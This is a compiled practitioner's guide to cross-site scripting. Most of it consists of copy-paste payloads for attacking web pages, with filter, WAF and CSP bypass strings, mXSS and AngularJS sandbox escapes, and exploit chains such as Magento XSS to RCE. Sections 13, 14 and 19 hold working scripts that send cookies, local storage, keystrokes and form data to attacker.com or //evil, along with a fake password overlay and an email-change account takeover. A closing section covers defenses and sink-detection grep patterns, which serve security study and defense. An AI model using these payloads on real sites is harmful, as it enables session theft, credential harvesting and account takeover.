Comprehensive XSS Guide

A practitioner’s reference for Cross-Site Scripting — attack surface, context-aware payloads, filter/WAF/CSP bypass techniques, framework-specific vulnerabilities, real-world chains, and detection/prevention. Compiled from 293 research sources.


Table of Contents

  1. Fundamentals
  2. Attack Surface & Entry Points
  3. Context-Aware Payloads
  4. Filter Bypass Techniques
  5. WAF Bypasses
  6. CSP Bypass Techniques
  7. Mutation XSS (mXSS)
  8. DOM Clobbering & Prototype Pollution
  9. Framework-Specific XSS
  10. AngularJS Sandbox Escapes
  11. postMessage & DOM XSS
  12. SVG, PDF & File Upload XSS
  13. Blind XSS
  14. Weaponized XSS Payloads
  15. Polyglots
  16. Real-World Exploitation Chains
  17. Tools & Automation
  18. Detection & Prevention
  19. Payload Quick Reference
  20. CVE Reference

1. Fundamentals

XSS occurs when attacker-controlled input is rendered in a victim’s browser as executable code (JavaScript, or markup that leads to JavaScript execution). The victim’s browser runs the injected code with the origin’s privileges — same-origin access to cookies, DOM, API tokens, and session state.

Three classes:

ClassDescriptionExample
ReflectedPayload in request, echoed in immediate response?q=<script>alert(1)</script>
StoredPayload persisted server-side, executes for later viewersComment boxes, profile bios, chat messages
DOM-basedClient-side JS reads attacker-controlled source, writes to dangerous sinkdocument.write(location.hash.slice(1))

Impact spectrum: Proof-of-concept alert(1) → cookie theft → session hijack → account takeover → credential harvesting → persistent backdoor (service worker) → worm propagation → supply chain compromise.

The three conditions required for XSS:

  1. Attacker-controlled input enters the page
  2. Input reaches a sink that interprets text as code/markup
  3. No (or insufficient) context-appropriate encoding between source and sink

2. Attack Surface & Entry Points

Common injection points

CategoryExamples
Search parameters?q=, ?search=, ?query=, ?keyword=
URL path segments/user/{name}, /posts/{slug}
URL fragments#id, #/route (SPA routing)
Form fieldsComments, profiles, messages, filenames
HTTP headersUser-Agent, Referer, X-Forwarded-For, Host, custom app headers
CookiesApplication-read cookies reflected in the UI
File uploadsFilenames, metadata, SVG/HTML/PDF content
JSON fieldsAPI responses rendered without encoding
Error messagesEchoed inputs in error pages
postMessage listenersCross-window messages without origin checks
localStorage/sessionStorageUser-writable state read into DOM
Email/notificationsHTML email, in-app notifications

Sources → Sinks (DOM XSS)

Sources (attacker-influenced):

location.href      location.search      location.hash
location.pathname  document.referrer    document.URL
window.name        document.cookie      localStorage.*
sessionStorage.*   postMessage.data     history.state

Sinks (dangerous):

element.innerHTML      element.outerHTML       document.write()
document.writeln()     eval()                  Function()
setTimeout(string)     setInterval(string)     element.insertAdjacentHTML()
element.srcdoc         element.src (for scripts)
jQuery: .html() .append() .before() .after() .replaceWith()
Framework: dangerouslySetInnerHTML  v-html   [innerHTML]="" (Angular bypass)

3. Context-Aware Payloads

Each context requires a different escape. Know where your input lands before picking a payload.

HTML element body context

<div>INJECTION</div>

Payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<body onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>

HTML attribute context

Inside double quotes: <input value="INJECTION">

" autofocus onfocus=alert(1) x="
"><script>alert(1)</script>
"><svg onload=alert(1)>

Inside single quotes: <input value='INJECTION'>

' autofocus onfocus=alert(1) x='
'><svg onload=alert(1)>

Unquoted: <input value=INJECTION>

x onfocus=alert(1) autofocus
x/onerror=alert(1)//

href/src attribute (no quote escape needed):

javascript:alert(1)
javascript:alert%281%29
jaVaScRiPt:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

JavaScript string context

var x = "INJECTION";

Payloads:

"; alert(1); //
"; alert(1); var y="
"-alert(1)-"
`-alert(1)-`  (in template literals)
</script><script>alert(1)</script>

JavaScript code context (no string quoting)

var x = INJECTION;
alert(1)
1;alert(1);1

Inside <script> block

</script> always closes the script — even inside strings:

<script>
var x = "</script><script>alert(1)</script>";
</script>

CSS context

<style>.a { color: INJECTION }</style>
<div style="color: INJECTION">
red; background: url("javascript:alert(1)")    /* old browsers */
expression(alert(1))                            /* IE only */
</style><script>alert(1)</script>

URL context

<a href="INJECTION">
javascript:alert(1)
//attacker.com
https://attacker.com/fake-login

Textarea / title / noscript / noembed / script contexts

These are “RCDATA” or “raw text” elements — you must close the parent tag first:

<textarea>INJECTION</textarea></textarea><script>alert(1)</script>
<title>INJECTION</title></title><script>alert(1)</script>

4. Filter Bypass Techniques

Case variation

HTML tags and attributes are case-insensitive:

<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
jaVaScRiPt:alert(1)

Defeats naive regex: preg_replace('/script/', '', $input) → use /i flag.

HTML entities

Decoded by HTML parser before attribute execution:

<img src=x onerror=&#97;lert(1)>       (decimal)
<img src=x onerror=&#x61;lert(1)>      (hex)
<img src=x onerror=&#97&#108&#101&#114&#116;(1)>  (no semicolons — still works)

JavaScript escapes

\u0061lert(1)     (Unicode escape)
\x61lert(1)       (hex escape)
\141lert(1)       (octal)
window['al'+'ert'](1)
window[String.fromCharCode(97,108,101,114,116)](1)

Comments / whitespace tricks

<scr/**/ipt>alert(1)</scr/**/ipt>
<img/**/src=x/**/onerror=alert(1)>
<img src=x onerror/**/=alert(1)>
<img%09src=x%09onerror=alert(1)>   (tab)
<img%0asrc=x%0aonerror=alert(1)>   (newline)

Tag-break bypasses

If <script> is blocked:

<svg onload=alert(1)>
<math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src>">
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)><option>x
<keygen autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>

Character encoding bypasses

  • UTF-7 (legacy): +ADw-script+AD4-alert(1)+ADw-/script+AD4-
  • Overlong UTF-8: some parsers normalize multi-byte sequences to ASCII
  • Null bytes: <scr%00ipt> — may truncate in C-string parsers

Protocol obfuscation

javascript:alert(1)
java%09script:alert(1)       (tab inside scheme)
java%0ascript:alert(1)       (newline inside scheme)
 javascript:alert(1)        (leading space — parsed by some routers)
&#74;avascript:alert(1)      (entity in scheme)

No-alphanumeric / obscure JS

JSFuck-style:

[][(![]+[])[+[]]+(![]+[])[+!+[]]+...]   // alert(1) from brackets

Template literals (bypasses () filter):

alert`1`
Function`x${'alert(1)'}`

Property access without quotes:

window.alert(1)
top['ale'+'rt'](1)

5. WAF Bypasses

HTTP parameter pollution (HPP)

ASP.NET concatenates duplicate parameters with commas:

/?q=1'&q=alert(1)&q='2

Request to server: q=1',alert(1),'2

In a JavaScript string context (var x = 'USER_INPUT';) this becomes:

var x = '1',alert(1),'2';   // comma operator executes alert(1)

Bypass rate against commercial WAFs (research):

  • Simple payloads: ~17.6% bypass
  • Complex HPP + line-break payloads: ~70.6% bypass
  • ML-based WAFs (Google Cloud Armor, Azure WAF, open-appsec) performed best

Working bypass payloads:

q=1'+1;let+asd=window&q=def='al'+'ert'+;asd[def](1&q=2);'
q=1'%0aasd=window&q=def="al"+"ert"&q=asd[def](1)+'

Character set / encoding tricks

  • Double URL-encoding: %253cscript%253e
  • Mixed case with encoded chars: %3CSvG%20OnLoAd=alert(1)%3E
  • Unicode normalization: <script> (fullwidth)

Hackbot-discovered bypass (escaped character differential)

test\';alert(1);//

Works when the WAF treats \' as an escaped quote but the target’s JavaScript parser closes the string anyway due to context disagreement.

Signature evasion

Split payloads across parameters, headers, POST body. Test every reflection independently. WAFs typically analyze parameters in isolation.


6. CSP Bypass Techniques

Quick CSP audit

Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com; 
                          img-src *; default-src 'self'

Red flags: 'unsafe-inline', 'unsafe-eval', *, whitelisted CDN with JSONP, data:, blob:, missing object-src, missing base-uri, Content-Security-Policy-Report-Only.

Common bypass vectors

1. unsafe-inline present

<script>alert(1)</script>  <!-- just works -->

2. Wildcard or broad scheme

script-src *:               <script src=//attacker.com/x.js></script>
script-src data:             <script src="data:text/javascript,alert(1)"></script>

3. JSONP on whitelisted host

<!-- Any JSONP endpoint on an allowed CDN lets you execute arbitrary callback names -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1)"></script>

4. AngularJS on whitelisted host If an allowed CDN serves Angular, bootstrap it with a template-injection payload:

<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.7.9/angular.js></script>
<div ng-app ng-csp>
  {{constructor.constructor('alert(1)')()}}
</div>

5. Predictable/reused nonces If nonces are based on timestamps, request IDs, or repeat across responses:

<script nonce="PREDICTED_NONCE">alert(1)</script>

6. base-uri missing

<base href="https://attacker.com/">
<!-- Now any relative <script src="/app.js"> loads from attacker.com -->

7. Dangling markup injection When full JS execution is blocked but HTML injection is possible:

<img src='//attacker.com/?data=
<!-- Everything until the next quote gets exfiltrated -->

8. CSP injection via CRLF If CSP is built from user input:

/?csp_report_uri=/report; script-src * 'unsafe-inline';

9. strict-dynamic pitfalls strict-dynamic trusts scripts loaded by trusted scripts — if any trusted script has a DOM XSS sink (e.g., an old jQuery loaded with a nonce), you get full execution.

10. File upload bypass Upload .html / .svg / .pdf to a whitelisted origin → navigate to the uploaded file URL → CSP applies to the uploaded file’s context (same origin = 'self').

Tools

  • Google CSP Evaluator — paste your CSP, get a rating
  • CSPBypass.com — database of JSONP endpoints and Angular bootstrap vectors on common CDNs

7. Mutation XSS (mXSS)

mXSS abuses the gap between serialized HTML (what the sanitizer sees) and parsed DOM (what the browser later executes). The sanitizer sees safe text; the browser’s HTML parser re-interprets it into a dangerous element.

Classic DOMPurify bypass (math/svg foreign content)

<math><mtext><table><mglyph><style><!--</style>
<img title="--&gt;&lt;img src=1 onerror=alert(1)&gt;">

Why it works:

  1. <math> switches parser into MathML foreign content mode
  2. <style> inside foreign content has different parsing rules
  3. The <!-- starts a comment that’s considered “safe text” by the sanitizer
  4. On re-serialization and re-parse, the comment context collapses
  5. The title attribute value --><img src=1 onerror=alert(1)> gets promoted to actual HTML

Firefox CDATA variant

<math><mtext><table><mglyph><style><![CDATA[</style>
<img title="]]&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">

Uses CDATA closing instead of HTML comment closing — works where the DOMPurify patch only covered comment mutations (CVE-2025-26791).

Why defending is hard

Sanitizers serialize-then-reparse to normalize. Any case where the browser’s second parse produces different tokens than the first parse is a potential mXSS. DOMPurify has fixed dozens of these; new ones keep appearing because HTML5 parsing has hundreds of context transitions.


8. DOM Clobbering & Prototype Pollution

DOM clobbering basics

Named HTML elements become properties on window and document:

<img name="getElementById">
<!-- document.getElementById is now an <img> element, not a function -->

Bootstrap 3 DOM clobbering XSS (CVE-2025-1647)

Bootstrap’s sanitizeHtml() uses document.implementation.createHTMLDocument(). Clobber document.implementation:

<img name="implementation">
<span data-toggle="tooltip" data-html="true" title="<script>alert(1)</script>">Hover</span>
  • document.implementation now resolves to the <img> element
  • .createHTMLDocument() fails silently
  • Sanitization skipped entirely
  • Tooltip renders raw HTML → XSS fires

Prototype pollution → XSS

Pollute Object.prototype through a vulnerable merge/assign function, then trigger a library that reads from an object with a prototype lookup fallback:

// Trigger pollution
location.hash = '#__proto__[innerHTML]=<img src=x onerror=alert(1)>';

// Victim library later reads options.innerHTML — gets polluted value

Common sinks triggered by pollution: jQuery’s $.extend, lodash _.merge, Handlebars/Mustache helper lookups, template engine options.


9. Framework-Specific XSS

React

React escapes by default. The escape hatches are the bug hatches:

Dangerous:

<div dangerouslySetInnerHTML={{__html: userContent}} />

URL injection:

<a href={userUrl}>click</a>   // userUrl = "javascript:alert(1)" executes

React added warnings for javascript: URLs in 16.9 and blocks them in 18, but data:text/html still works in older versions.

Defense: Wrap dangerouslySetInnerHTML content in DOMPurify:

import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(userContent)}} />

localStorage token bug: React/SPA apps routinely store JWTs in localStorage. Any XSS → instant session theft. Use httpOnly cookies instead.

Vue

v-html is React’s dangerouslySetInnerHTML equivalent:

<div v-html="userContent"></div>

CVE-2024-6783: Vue 2 template compiler XSS in specific directive patterns. Vue 2 is end-of-life; migrate to Vue 3.

Angular (modern, 2+)

Angular auto-sanitizes via its DomSanitizer. Bypass methods:

this.sanitizer.bypassSecurityTrustHtml(userContent)
[innerHTML]="userContent"  // auto-sanitized, safe
[innerHTML]="trustedContent"  // if content was passed through bypassSecurityTrust*, XSS

Server-side rendering also introduces SSRF risk during hydration.

AngularJS (1.x) — see dedicated section


10. AngularJS Sandbox Escapes

AngularJS 1.x expressions run in a sandbox that was repeatedly broken. Every version ≤1.6 has a known bypass; 1.6+ removed the sandbox entirely (expressions run as JavaScript — a feature, not a fix).

Canonical payloads by version

1.0.x:

{{constructor.constructor('alert(1)')()}}

1.2.x (no constructor.constructor):

{{a='a'.constructor.prototype;a.charAt=a.trim;$eval('a",alert(1),"')}}

1.3.x–1.5.x:

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}

1.6.x+ (no sandbox — just JS):

{{constructor.constructor('alert(1)')()}}

SVG variant (works when {{ }} filtered)

<svg>
  <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
    <circle r="400"></circle>
    <animate attributeName="xlink:href" begin="0" 
             from="javascript:alert(1)" to="&amp;" />
  </a>
</svg>

No-quote / no-constructor bypasses (historical Uber writeup)

When filters strip quotes and block constructor:

{{x=toString();x.constructor.prototype.charAt=x.constructor.prototype.concat;
  $eval(x.constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,
  101,114,116,40,49,41,47,47))}}

Builds alert(1) from character codes and existing prototype access.


11. postMessage & DOM XSS

postMessage vulnerabilities

Listeners that don’t validate event.origin accept messages from any window:

// VULNERABLE
window.addEventListener('message', e => {
    document.getElementById('content').innerHTML = e.data;  // sink!
});

Attack: Open vulnerable page in iframe/popup, post message:

victim.postMessage('<img src=x onerror=alert(1)>', '*');

Defense:

window.addEventListener('message', e => {
    if (e.origin !== 'https://trusted.com') return;
    if (typeof e.data !== 'string') return;
    // still need to treat data as data, not HTML
});

DOM XSS sources → sinks

SourceCommon SinkExample
location.hashinnerHTMLSPA route handler writes hash to page
location.searchdocument.write()Analytics tag echoes query string
document.referrerinnerHTML“You came from” banner
window.nameeval()Legacy form persistence
postMessage.datainnerHTMLCross-widget communication
localStorageinnerHTMLCached API response rendered

Hunting tips:

  • DOM Invader (Burp) — auto-traces sources to sinks
  • Grep for source strings in JS bundles
  • Hook sinks with a Proxy at runtime

12. SVG, PDF & File Upload XSS

SVG XSS

SVG files are XML with full script support:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(1)</script>
</svg>

If uploaded and served with Content-Type: image/svg+xml on the same origin, direct navigation to the file triggers XSS under that origin.

Event handlers also work:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">

PDF XSS (PDF.js, Acrobat)

PDFs can contain JavaScript. When rendered in pdf.js with disableAutoFetch: false and no sandbox, embedded JS runs in the viewer’s origin.

HTML file upload

Uploading .html to a whitelisted/same-origin location gives full XSS under that origin — any access control mitigations on rendering contexts (image tags, CSP) don’t apply to direct navigation.

Mitigations:

  • Serve uploads from a sandboxed subdomain (usercontent.example.com)
  • Set Content-Disposition: attachment to force download
  • Re-encode images (defeats embedded scripts)
  • Block SVG uploads entirely or sanitize with DOMPurify server-side

13. Blind XSS

Blind XSS fires in a context you can’t see — admin panels, support tickets, log viewers, email clients, printed reports.

Detection

Use an out-of-band callback service:

  • XSS Hunter Express — self-hosted, captures screenshots, DOM, cookies, URL
  • ezXSS — self-hosted alternative
  • Burp Collaborator — manual detection via DNS/HTTP callback

Payload template

<script src="//xss.yourdomain.com/payload.js"></script>

payload.js collects and exfiltrates:

fetch('https://xss.yourdomain.com/log', {
  method: 'POST',
  body: JSON.stringify({
    url: location.href,
    cookies: document.cookie,
    dom: document.documentElement.outerHTML.substring(0, 5000),
    referrer: document.referrer,
    origin: location.origin,
    localStorage: JSON.stringify(localStorage),
    userAgent: navigator.userAgent
  })
});

High-value blind XSS injection points

  • Contact forms (admin reads the ticket)
  • User-Agent / Referer headers (log viewers)
  • Bug reports / feedback forms
  • Invoice/order fields (accounting tools)
  • Profile fields (admin user lookup)
  • Filenames in file uploads (file manager views)
  • Email subject/sender/body (webmail, ticket systems)

DKIM-signed email XSS (Horde CVE-2025-68673)

Horde Webmail rendered List-Unsubscribe headers without sanitizing javascript: URIs:

List-Unsubscribe: <javascript://domain.tld/%0aalert(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

Rendered link executes when clicked.


14. Weaponized XSS Payloads

Going from alert(1) to real impact.

// Basic
new Image().src = 'https://attacker.com/?c=' + encodeURIComponent(document.cookie);

// Full dump
fetch('https://attacker.com/log', {
  method: 'POST',
  mode: 'no-cors',
  body: JSON.stringify({
    cookies: document.cookie,
    localStorage: Object.fromEntries(Object.entries(localStorage)),
    sessionStorage: Object.fromEntries(Object.entries(sessionStorage)),
    url: location.href
  })
});

Account takeover via API

// Change email to attacker's, password-reset flow delivers takeover
fetch('/api/user/profile', {
  method: 'PATCH',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
});

CSRF token bypass

Fetch token from DOM/API, use it:

const csrf = document.querySelector('meta[name="csrf-token"]').content;
fetch('/admin/users/delete', {
  method: 'POST',
  headers: {'X-CSRF-Token': csrf},
  body: 'id=12345'
});

Keylogger

let buf = '';
document.addEventListener('keypress', e => {
  buf += e.key;
  if (buf.length > 30) {
    navigator.sendBeacon('https://attacker.com/k', buf);
    buf = '';
  }
});

Form hijacking

document.querySelectorAll('form').forEach(f => {
  f.addEventListener('submit', e => {
    const data = new FormData(f);
    navigator.sendBeacon('https://attacker.com/f', data);
  });
});

Persistent backdoor via service worker

If /sw.js is under attacker control (file upload, stored XSS with write access):

navigator.serviceWorker.register('/sw.js', {scope: '/'});
// sw.js intercepts all future fetches from the origin

Phishing overlay

document.body.innerHTML = `
  <div style="position:fixed;inset:0;background:white;z-index:999999">
    <form action="https://attacker.com/collect" method="post">
      Session expired. Re-enter password:
      <input name="pw" type="password"><button>Continue</button>
    </form>
  </div>`;

15. Polyglots

A polyglot fires in the maximum number of contexts with a single payload.

Ultimate XSS Polyglot (144 chars)

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Contexts it hits:

  • href/src attributes (javascript: scheme with case variation)
  • Double-quoted attributes (escapes via ")
  • Single-quoted attributes (escapes via ')
  • Unquoted attributes
  • JavaScript strings (all three quote types)
  • Template literals (backtick)
  • Regex literals
  • Comment blocks (/* */)
  • textarea / title / style / script contexts (tag-breakers)
  • SVG context (onload trigger)

Shorter alternatives

"><svg onload=alert(1)>
'><svg onload=alert(1)>
"><img src=x onerror=alert(1)>
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>

16. Real-World Exploitation Chains

Magento 2.3.1: Stored XSS → RCE

Chain:

  1. Stored XSS via escapeHtmlWithLinks() bypass — sanitizer replaces <a> tags with %1$s placeholder, escapes the rest, then vsprintfs the tags back in. Position-based replacement lets attackers inject an extra quote breaking out of a surrounding id attribute:
    <i id=" <a href='http://onmouseover=alert(/XSS/)'>link</a> "> text </i>
    
    After processing, the reinserted <a> tag breaks the outer <i> quoting, injecting an onmouseover handler.
  2. Injection point: Order cancellation notes (unauthenticated accessible).
  3. Trigger: Admin reviews the cancelled order → XSS fires in admin session.
  4. XSS → phar deserialization RCE: XSS POSTs to __directiveis parameter → backend calls getimagesize() on a phar:// URL → PHP object injection → RCE with admin privileges.

Impact: Complete store takeover, payment redirection, credit card theft. Patched in 2.3.2+.

Arista Firewall: XSS → RCE (CVE-2025-6978/6979/6980)

  1. CVE-2025-6980 — Information disclosure via unintended Python functions exposed through mod_python.publisher; leaks VPN credentials/private keys.
  2. CVE-2025-6979 — Reflected XSS in Captive Portal login (misclassified as “authentication bypass”).
  3. CVE-2025-6978 — JSON-RPC command injection in admin handler → root RCE.

Chain: Reflected XSS tricks admin into executing JSON-RPC payload → root on the firewall.

Quick test:

curl -skI https://target/capture/handler.py/load_rpc_manager
# 500 = vulnerable, 404 = patched

Worm / self-propagation pattern

Any stored XSS in a social-graph context (comments, timeline, chat) that doesn’t require interaction to fire is a worm candidate. Classic examples: Samy (MySpace 2005), Twitter onMouseOver (2010), TweetDeck (2014).

Banking session theft campaign (2023)

Targeted 40+ banks globally. Adaptive malware stole 50,000+ sessions via stored XSS in vulnerable banking portals, communicated with C2 for real-time payload updates, and obfuscated traces from security tooling.


17. Tools & Automation

Burp Suite

  • DOM Invader — built-in browser extension; traces DOM sources to sinks, tests postMessage, detects prototype pollution and DOM clobbering.
  • Intruder — payload lists for reflection testing.
  • Collaborator — out-of-band detection for blind XSS.

Dedicated scanners

ToolStrength
XSStrikeAdvanced reflected/DOM scanner with WAF detection, context-aware payloads
GxssFast reflection finder for big URL lists
DalfoxParam analysis + reflection detection + payload generation
kxssMinimal reflection finder, chains well with gf patterns
XSSerClassic framework with multiple attack modes

Blind XSS platforms

ToolNotes
XSS Hunter ExpressSelf-hosted, screenshot + DOM + cookies
ezXSSSelf-hosted, Docker-friendly
InteractshLow-level OOB (DNS/HTTP/SMTP)
Burp CollaboratorIntegrated with Burp Pro

CSP analysis

  • Google CSP Evaluator — scores policies, flags bypasses
  • csp-evaluator.withgoogle.com — web UI
  • CSPBypass.com — community database of bypass gadgets on whitelisted CDNs

Payload wordlists

  • SecLists/Fuzzing/XSS/
  • PayloadsAllTheThings/XSS Injection/
  • PortSwigger XSS cheat sheet

18. Detection & Prevention

The hierarchy of defenses (apply all)

LayerControl
1. Input validationWhitelist allowed formats at entry (still encode later)
2. Output encodingContext-aware encoding at every sink — the critical layer
3. Sanitization librariesDOMPurify for rich HTML, kept up to date
4. Content Security Policyscript-src without 'unsafe-inline' / wildcards; strict-dynamic + nonces
5. Framework defaultsTrust React/Vue/Angular auto-escaping; audit every escape-hatch
6. httpOnly cookiesKeep auth tokens out of document.cookie / localStorage
7. Security headersX-Content-Type-Options: nosniff, Referrer-Policy, Permissions-Policy
8. Sandboxed subdomainsServe user-uploaded content from a separate origin

Context-aware encoding table

ContextEncoding
HTML element body& < > " ' → entities
HTML attribute (quoted)Same as body + enclose in quotes
HTML attribute (unquoted)Encode all non-alphanumeric chars
JavaScript stringEscape \ ' " + backslash-u for nonprintable
URLencodeURIComponent()
CSSCSS-escape (\HH ) all non-alphanumeric
JSON embedded in HTMLJSON-encode + HTML-encode <\u003c

Static analysis

Grep patterns for sinks:

innerHTML\s*=      outerHTML\s*=       document\.write
eval\(             Function\(          setTimeout\([^,]*["'`]
dangerouslySetInnerHTML     v-html      bypassSecurityTrustHtml

Grep patterns for sources:

location\.(hash|search|href|pathname)
document\.referrer     window\.name
postMessage\b
localStorage\.(getItem|\[)

Semgrep / CodeQL: Both have mature XSS rule packs for JavaScript, TypeScript, React, Vue, Django templates, JSP, etc.

Runtime detection

  • CSP report-uri / report-to — log real violations
  • Trusted Types — policy that forbids string-to-sink assignments, catches DOM XSS at runtime
    Content-Security-Policy: require-trusted-types-for 'script'
    
  • WAF — catches obvious signatures, bypasseable (see section 5)

The TL;DR checklist

  1. Use framework auto-escaping; audit every escape hatch.
  2. Wrap all user HTML in DOMPurify before dangerouslySetInnerHTML/v-html.
  3. Set a strict CSP with nonces and strict-dynamic.
  4. Enable Trusted Types.
  5. Put auth tokens in httpOnly cookies, never localStorage.
  6. Serve user uploads from a separate origin.
  7. Validate event.origin in every postMessage listener.
  8. Keep all sanitization libraries up to date (DOMPurify ships mXSS fixes often).

19. Payload Quick Reference

Copy-paste test payloads

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=x onerror=alert(1)>">
javascript:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Context escape one-liners

Attribute (dq):     "><svg onload=alert(1)>
Attribute (sq):     '><svg onload=alert(1)>
JS string (dq):     ";alert(1);//
JS string (sq):     ';alert(1);//
JS string (tmpl):   ${alert(1)}
Script block:       </script><svg onload=alert(1)>
Textarea:           </textarea><svg onload=alert(1)>
Title:              </title><svg onload=alert(1)>
Style:              </style><svg onload=alert(1)>
Comment:            --><svg onload=alert(1)>
CDATA:              ]]><svg onload=alert(1)>

Filter bypass variants

Case:            <ScRiPt>alert(1)</ScRiPt>
Entity:          <img src=x onerror=&#97;lert(1)>
Unicode:         <img src=x onerror=\u0061lert(1)>
No parens:       <img src=x onerror=alert`1`>
No alphanum:     <img src=x onerror=window[/al/.source+/ert/.source](1)>
Whitespace:      <img/src=x/onerror=alert(1)>
Newline in URL:  <a href="java%0ascript:alert(1)">

Exfiltration snippets

// One-line cookie steal
new Image().src='//evil/?c='+document.cookie

// One-line DOM exfil
fetch('//evil',{method:'POST',mode:'no-cors',body:document.body.innerHTML})

// One-line credential form injection
document.body.innerHTML='<form action=//evil method=POST><input name=u><input name=p type=password><input type=submit></form>'

20. CVE Reference

CVETargetTypeNotes
CVE-2025-26791DOMPurifymXSSRegex-based bypass, bypassed prior CDATA fix
CVE-2025-1647Bootstrap 3DOM clobbering XSSdocument.implementation clobbered to skip sanitizer
CVE-2024-6783Vue 2Template compiler XSSEnd-of-life; migrate to Vue 3
CVE-2024-6484Bootstrap 3Carousel XSSData attribute sanitization gap
CVE-2025-6980Arista FirewallInformation disclosuremod_python.publisher leaks credentials
CVE-2025-6979Arista FirewallReflected XSSCaptive portal login form
CVE-2025-6978Arista FirewallJSON-RPC injectionChains with XSS → root
CVE-2019-8331MagentoStored XSS → phar → RCEComplete store takeover chain
CVE-2025-68673Horde WebmailXSSList-Unsubscribe javascript: URI
CVE-2026-34569CI4MSStored XSSCMS admin panel
CVE-2026-34565CI4MSStored DOM XSSClient-side rendering sink

Version History

  • v1.0 (2026-04-10) — Initial guide compiled from 293 articles in ~/Documents/obsidian/chs/raw/XSS/

For original articles, see ~/Documents/obsidian/chs/raw/XSS/.